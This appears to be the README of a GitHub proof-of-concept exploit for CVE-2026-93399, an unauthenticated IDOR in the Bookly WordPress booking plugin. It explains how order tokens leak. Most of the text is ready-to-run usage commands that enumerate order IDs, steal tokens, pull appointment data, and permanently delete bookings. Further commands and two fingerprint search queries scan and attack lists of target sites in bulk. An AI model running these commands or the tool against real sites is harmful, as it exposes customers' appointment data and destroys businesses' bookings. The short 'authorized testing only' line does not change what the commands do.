murrez/cve-2026-93399Python PoC for CVE-2026-93399, an unauthenticated IDOR in Bookly <= 28.2 that leaks order tokens, exposes appointments, and rolls back bookings.
Python 3 PoC for CVE-2026-93399 in Bookly (bookly-responsive-appointment-booking-tool).
CVE-2026-93399 — Bookly ≤ 28.2 suffers from Insecure Direct Object Reference (CWE-639) on public booking AJAX: bookly_get_form_id stores attacker-controlled order_id in the form session, and bookly_render_complete returns that order’s secret bookly_order token without verifying the session created the order. Unauthenticated attackers can enumerate order IDs, steal tokens, pull appointment data via bookly_add_to_calendar, and cancel/delete non-completed bookings with bookly_rollback_order. CVSS 3.1: 9.1 Critical (C:N/I:H/A:H). Fixed in > 28.2.
PoC page: https://pocbit.org/pocs/cve-2026-93399
Catalog index: https://pocbit.org/pocs/
pip install -r requirements.txt
python poc.py -u https://site.example --mode check
python poc.py -u https://site.example --mode check --order-id 15
python poc.py -u https://site.example --mode check --order-start 1 --order-end 30
python poc.py -u https://site.example --mode exploit --order-id 15 --calendar
python poc.py -u https://site.example --mode exploit --order-id 15 --rollback --confirm-delete
python poc.py --list targets.example.txt --mode check -j 10 --order-start 1 --order-end 5
body="/wp-content/plugins/bookly-responsive-appointment-booking-tool/"
body="bookly_get_form_id"
Authorized testing only. --rollback --confirm-delete permanently removes bookings.